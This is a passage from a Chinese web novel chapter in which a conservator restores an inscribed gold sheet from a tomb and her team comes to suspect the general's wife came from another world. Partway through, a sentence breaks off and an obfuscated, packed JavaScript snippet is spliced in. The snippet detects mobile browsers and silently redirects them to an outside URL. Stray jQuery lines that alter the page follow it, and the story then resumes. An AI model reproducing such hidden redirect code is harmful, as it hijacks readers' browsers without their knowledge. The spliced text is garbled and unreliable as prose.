指尖再次触到金片，那处“千年”的凹陷像是块烙铁。许之泓没来由地觉得心脏发紧。
她低头看着金片上那个反复出现的“君”字，总觉得这字不该刻在冰冷的金上，该是被人用温热的指尖，轻轻点在谁的眉心才对。
窗外起了轻风，卷着落叶敲在玻璃上。
她终是深吸一口气，拿起镊子，对着第一道折痕，缓缓用力。
金片发出轻轻的嗡鸣，像一声被压抑了太久的叹息。
工作室的顶灯被调至最柔和的亮度，恰好在工作台中央投下一方无阴影的光晕。
她换上了一身米白色的防静电工作服，头发用同色发网一丝不苟地拢起，只露出一截纤细的脖颈。
她面前的软毡上，那长至一米的金片正静静躺着，像一条被时光凝固的河。
许之泓先取来一支软毛笔，笔锋比寻常狼毫更柔。
她屏住呼吸，以近乎虔诚的姿态，顺着金片的纹理轻轻扫过。
千年积下的尘垢呈灰黑色，簌簌落在下方的白瓷盘里，那声音轻得像雪落。
扫到中段凹陷处时，笔锋顿了顿——那里的积垢嵌得极深，仿佛是被什么东西用力按进去的，连带着周围的刻字都微微变形。
“得先松劲。”
她低声自语，取过一只盛着蒸馏水的玻璃滴瓶，将一滴水珠精准地滴在凹陷边缘。
水珠在金片上凝成半球，借着灯光能看到里面悬浮的细微尘埃。
她又取来一根裹着麂皮的细竹条，竹条末端被打磨得圆润光滑，像根微型的玉如意。
她左手稳住金片，右手执竹条，让麂皮面轻轻抵住凹陷处的边缘。
竹条与金片相触的地方，发出几乎听不见的“沙沙”声，像春蚕在啃食桑叶。
第一处折痕展开时，她停了停。
额角渗出细密的汗，却没去擦，只是偏过头，让台灯的光换个角度照在金片上。
此刻能更清晰地看到那些刻字的断面——笔锋深的地方，金片被刻透了三分之一，露出底下更纯的金色；笔锋浅的地方，只留下一层极薄的刻痕，像被指甲轻轻划过。
‘一纸草书，难抵千年岁月。故夫人且怜我，容我刻完此书可好？’
“是用刻刀一点一点凿出来的?”
她心里忽然明了：“原来不是模铸，是亲手刻的。”
许之泓指尖无意识地摩挲着工作台边缘的防滑垫，忽然想起小徐说的话——这金片是从叶将军心口位置找到的。
她想象着那个场景：一盏孤灯，一位将军，用刻刀在金片上凿字，手腕的力道随着心情起伏，时而沉稳如磐石，时而颤抖如风中芦苇。
窗外的天色渐渐暗下来，工作台的光晕却愈发显得明亮。
金片末端的折痕最难处理，那里的刻字被拦腰切断，“再续此篇”的“篇”字只留下半个竹字头。
许之泓取来一块透明的硅橡胶膜，轻轻覆在断痕处，用指腹按压出纹路的轮廓，她想先记录下完整的字形。
膜片揭开时，上面印着半个模糊的字影，像一声没说完的叹息。
她直起身，活动了一下僵硬的脖颈，目光再次落在金片上。
此刻的金片已经舒展了大半，那些密密麻麻的字在灯光下泛着暖光，像有个人在耳边低声絮语。
她忽然想起自己的名字——之泓。
与合葬墓里那个温泓，只多了一个助词。
许之泓伸出手，让指尖悬在“吾妻”两个字上方，没敢触碰。
灯光在她眼底投下细碎的光斑，像落了一地的星子。
“快好了。”
她轻声说，像是在对金片里的人承诺，又像是在对自己说。
然后重新低下头，执起镊子，对准最后一道折痕。
这次，她的动作里多了一份难以言喻的温柔，仿佛怕惊扰了一场跨越千年的梦。
……
次日早上，工作室的空气像被凝固了一般，只剩下台灯投射在金片上的暖光，将那些刚被修复平整的刻字照得愈发清晰。
许之泓摘下手套，指尖还残留着金片特有的微凉质感，她深吸一口气，看向早已围在工作台旁的考古队员们。
“你们看这几句……”
她的声音带着修复工作后的微哑，指尖落在金片中段那几行最刺眼的字上。
“夫人狠心！相隔千里，君何以不思我？何以不等我？何以骤然归彼异世?”
老周凑近放大镜，眉头瞬间拧成了疙瘩：“‘归彼异世’？这词……不对劲!大靖文献里从不用‘异世’指代死亡，通常说‘归西’‘仙逝’，哪有说‘归彼异世’的？”
“还有这句……”
许之泓的指尖移向另一侧，那里的刻字更深，笔画都带着颤。
“‘吾初见夫人时，便知非寻常女子也——君实乃天上仙子！仙子能易其形，本就合情合理，吾又怎会因表象而负心？’”
“仙子？易其形？”
小徐手里的笔记本“啪”地掉在地上，她慌忙捡起，声音都在发颤：“叶将军这是在说……温夫人不是普通人？”
许之泓没点头，也没摇头，只是取过修复时拓下的硅橡胶膜片——那上面印着金片末端被折断的半个“篇”字。
此刻在灯光下，连带着周围未被完全刻透的痕迹，竟隐约能看出“归途”二字的轮廓。
“从一开始修复，我就觉得奇怪。”
她拿起膜片，与金片上的字迹对齐。
“如果温夫人出生在京城，叶将军何必用‘归彼异世’这种近乎荒诞的说法？”
她顿了顿，目光扫过众人震惊的脸：“还有‘易其形’。大靖礼法森严，女子妆容服饰皆有定制，哪有‘易其形’的道理？
除非……温夫人的‘形’，本就不属于这个时代。”
“你的意思是……”
老周的烟杆在手里转了两圈，突然停住：“温泓……她……不是大靖永安年间的人？”
这句话像一道惊雷劈在工作室里。
小李手里的《大靖世系年表》“哗啦”一声散了页，他蹲下去捡纸页的手都在抖：“不可能！史书明明白白写着，温泓是永安二十七年嫁与叶将军，怎么可能不是这个时代的人？”
“史书没写她的出身。”
许之泓的声音很轻，却带着不容置疑的笃定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469995|185531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：“也没写她的幼年经历。温家在永安年间是望族，史书记载大靖王朝兵部尚书就是姓温，可往前推三代，根本查不到任何关于温泓的记载。”
工作室里彻底安静了。
只有挂钟的滴答声，敲在每个人的心上。
许之泓看着金片上“吾妻”两个字，脑海里无意识地划过自己的名字——之泓。
比温泓的“泓”多出来的那个“之”字，在古文里恰有“往、至”之意，仿佛在暗示着什么。
“叶将军在金片里写‘初见时便知非寻常女子’，”她低声说，“或许她从一开始就知道，温泓不属于这里。”
老周突然狠狠一拍桌子，烟杆都震掉了：“难怪叶将军要殉情！三天！从温夫人去世到她自缢，整整三天！她不是在哀悼，是在确认……确认温泓真的回不去了，确认自己留在这里，再无意义！”
灯光落在金片上，那些密密麻麻的字仿佛活了过来。
许之泓的指尖终于落在“吾妻”两个字上，金片的微凉透过指尖传来，竟让她眼眶一热。
原来那身绿衣不是穿给世人看的，是穿给“异世”的温泓认的!
原来这金片不是情书，是叶将军写给时光的寻人启事!
窗外的晨光不知何时爬进了工作室，落在金片上，与灯光交织成一片朦胧的光晕。
许之泓望着那半个“篇”字，忽然觉得，叶将军或许是想问温泓：此去异世，归途可有期？
而她自己，为什么一想到“泓”字，心口就会隐隐作痛？
这些念头刚冒出来，就被老周急促的吩咐打断：“查！把温家的族谱、大靖永安的史册，还有叶将军的兵书往来，全都调出来！我倒要看看，这个温泓，到底是谁！”
许之泓没动，只是望着金片上那些发烫的字。
灯光在她眼底碎成星子，像有人隔着千年时光，在对她说：我早就知道，她不属于这里。
——
原来这合葬墓，葬的不只是两个人，还有一场跨越了时空的、未完的爱恋……
老周翻着卷宗，手指在泛黄的纸页上重重一点：“奇了！大靖永安年间的温姓高官里，确实只有一位兵部尚书温庭礼。他家谱上明明白白写着，膝下只有一女，叫温以羡，字时清，十九岁时嫁与镇国将军叶槿为妻，名字差得远啊。”
他顿了顿，又翻出另一册地方县志，眉头皱得更紧：“更怪的是，叶将军戍边期间，温以羡在府中突然失踪，生不见人，死不见尸。时间对不上!”
另一旁的小徐接上话:“温以羡是在大靖永安二十四年嫁给叶槿为妻，可史书上记载温泓嫁与叶槿时是大靖永安二十七年，且当时叶槿早已封了镇北节度使。”
老周接着又说:“叶槿之后也的确是另娶了一个女子，可我翻阅了所有资料都没有其相关信息，只知道那女子叫许氏，像是凭空出现的一般。”
许之泓的目光落在金片上，仿佛在思考着什么，没有抬头，只淡淡嘀咕着:“叶槿果断殉情，就说明她不是多情的人。她说温泓能‘易其形’，温以羡和许氏会不会从始至终都是同一个人?”
话音刚落，工作室静得只听得见呼吸声。